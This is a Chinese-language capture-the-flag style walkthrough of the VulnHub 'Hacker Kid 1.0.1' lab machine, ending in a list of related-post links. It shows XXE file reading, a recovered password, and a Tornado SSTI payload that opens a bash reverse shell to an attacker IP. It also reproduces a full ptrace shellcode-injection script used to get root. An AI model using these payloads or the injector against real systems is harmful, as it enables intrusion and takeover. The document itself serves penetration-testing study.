信息搜集

开启靶机。


使用nmap扫描,发现存活靶机,192.168.85.145,靶机开放端口为53,80,9999。
进一步搜集下对应段开启的服务。


发现,9999端口开启的是tornado服务。
先打开web网站,看下。

好像再提示挖掘?还是使用dig工具?先放下,继续搜集信息。


#app.html页面源码,发现存在提示,给了一个参数。这个参数应该是页面数,先尝试下。


发现page_no=21时,返回数据不同。

提示我们这个网站还绑定了一个域名,先添加到/etc/hosts文本中。

网站首页不是提示我们dig吗,尝试下,是不是该地址还存在一些未发现的东西?比如其它子域名?

结合一开始信息搜集到的53端口,瞬间思路清晰了。


发现确实还存在一个子域,hackerkid.blackhat.local。先将域名添加到/etc/hosts文件上。

发现存在一个创建账号的页面,先尝试提交下信息。

发现,是xml格式进行的信息交互。盲猜可能存在xxe漏洞。

发现确实存在xxe漏洞。

发现saket用户权限除root外最高,查看下saket用户目录中是否存在.ssh,.bashrc文件。

发现saket用户目录下确实存在.bashrc文件。


发现登录用户和密码。但现在存在的问题是这是什么地方的账号密码?
目前还有两个端口未使用,53端口以及9999端口,但53端口是bind服务,也就是dns解析服务。也就是说只剩下9999端口,并且发现tornado服务,此处9999端口对应的也应该是一个web服务。

打开后发现,此处正好有一个登陆页面,想到刚才搜集到的用户名和密码,尝试下。
admin:Saket!#$%@!!

登陆失败。。。。。难受。。。。
但想到密码应该是正确的,那么就是用户名出现问题了,想到刚才看到的/etc/hosts文件中的用户信息saket,本来账号密码就是在saket用户下发现,那么此处的登录名是否就是saket,那就先尝试下。

成功登录进去,并且发现提示,告诉网站name,那么是否是get型或post型传参。

经过测试,此处使用的name传参是get型,那么下一步怎么做呢?
此时想到这个网站使用的是tornado服务,那么是否存在服务型漏洞?

在先知社区中进行搜索tornado服务,发现该服务存在ssti漏洞。


使用ssti漏洞exp进行测试,出现报错,发现该服务使用的python3。

经过测试,可以使用bash指令反弹会话.

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"')}}


nc成功接收到会话。

提权


使用linpeas.sh跑一下


找到提权脚本。

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

上传到靶机上。
使用ps -aux | grep root
获取到root用户权限执行的进程。
使用python2 shellcode.py root进程号。
netstat -anltp | grep 5600
获取是否成功注入进程。


下一步使用nc直接连接到靶机5600端口即可。


成功建立连接。

ok,游戏结束。

参考链接

python Capabilities cap_sys_ptrace+ep提权:http://t.zoukankan.com/zlgxzswjy-p-15185591.html.
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/tag/20220522.
ssti模板注入:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python.
dig详细使用教程:https://blog.csdn.net/smli_ng/article/details/105921859.
vulnhub之Hacker_Kid-v1.0.1:https://blog.csdn.net/qwweggfe/article/details/119861584.
HACKER KID: 1.0.1下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/.

【HACKER KID: 1.0.1靶机】相关推荐

  1. VulnHub日记(八):Hacker Kid

    靶机介绍 参考链接:Hacker Kid Walkthrough - Vulnhub - Security - NepCodeX 虚拟机链接:Hacker kid: 1.0.1 ~ VulnHub 开 ...

  2. Vulnhub靶机:HACKER KID_ 1.0.1

    目录 介绍 信息收集 主机发现 主机信息探测 53 端口 网站探测 页面源代码 DIG信息收集 经典XXE漏洞 探测9999端口 SSTI模板注入 Capabilities 提权 发现具有Capabi ...

  3. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  4. VulnHub1:Jangow: 1.0.1靶机入侵

    VulnHub1:Jangow: 1.0.1靶机入侵 信息搜集: 扫描端口 发现命令执行漏洞 uname 一句话木马 上蚁剑 提权 方法1 方法2 VulnHub1:Jangow: 1.0.1靶机入侵 ...

  5. relativity (v1.0.1)靶机

    relativity (v1.0.1)靶机 arp-scan -l 扫描靶机IP地址 nmap -sV -Pn -A x.x.x.242 nmap 查看开放的端口 访问80端口 dirb 进行扫描,无 ...

  6. VulnHub_HarryPotter:Aragog (1.0.2)靶机

    文章目录 靶机介绍 渗透过程 获取ip 端口扫描 信息收集 漏洞扫描及利用获取shell 提权 靶机介绍 下载地址:https://www.vulnhub.com/entry/harrypotter- ...

  7. Vulnhub——JANGOW: 1.0.1

    靶机下载地址:Vulnhub--JANGOW: 1.0.1 靶机安装好以后界面如下图: 这个靶机比较的人性化,不用我们去扫了,直接Nmap nmap -A -p- -T4 -Pn 10.36.101. ...

  8. 小白的靶机VulnHub-Temple of Doom

    靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/ 开机界面就是这 确定 靶机的ip地址:192.168.0.114 靶机开放了22端口6 ...

  9. Eric靶机渗透测试

    Eric靶机渗透练习 攻击机:kali Ip:192.168.0.3 靶机:eric Ip:192.168.0.4 找到靶机ip:192.168.0.4 nmap -sF 192.168.0.0/24 ...

最新文章

  1. 使用MUI/html5plus集成微信支付需要注意的几点问题
  2. vue2.0 vue-cli项目中路由之间的参数传递
  3. python装饰器-python修饰器(装饰器)以及wraps
  4. hive的Specified key was too long; max key length is 767 bytes问题解决
  5. 通信原理随机信号分析
  6. 插入,选择,归并,快速排序
  7. 如何给SAP Cloud Platform的CloudFoundry环境里的subaccount添加quota
  8. 初级开发人员的缺点_我希望成为初级开发人员的事情
  9. [BZOJ]2820: YY的GCD
  10. Java 并发:第三部分 - 同步锁
  11. Gym - 101194F(后缀数组)
  12. kafka常用的操作命令
  13. [js高手之路]深入浅出webpack教程系列3-配置文件webpack.config.js详解(下)
  14. python copy.copy和copy.deepcopy
  15. linux服务器选择u盘启动,【服务器运维】linux怎样以u盘启动
  16. 2020年MathorCup数学建模B题养老服务床位需求预测与运营模式研究全过程解题程序及多篇论文
  17. 干货|别找了,分享80个无版权、高清、免费图片素材网站给你!
  18. 云计算机渲染效果,什么是云渲染?云渲染这么用?
  19. 树形表格TreeGrid
  20. AJ-Report小白配置大屏手册

热门文章

  1. “办”了三年数字化活动,这家公司成为行业独角兽
  2. 1.8 深入理解Surface系统
  3. 2021年计算机一级b,2021年全国计算机等级考试一级B模拟试题及答案-20210417084048.doc-原创力文档...
  4. Stata:CHFS中国家庭金融调查数据库清洗和处理
  5. 基于ssm框架—微信小程序开发的会议管理系统
  6. linux 一键美化,CentOS7一键安装及美化Transmission
  7. 什么是物联网,物联网未来几年的发展前景怎么样?
  8. 达累斯萨拉姆传递有艾滋病火炬手 不会出现捣乱分子
  9. ctf (easy_eval)
  10. 凹透镜类毕业论文文献包含哪些?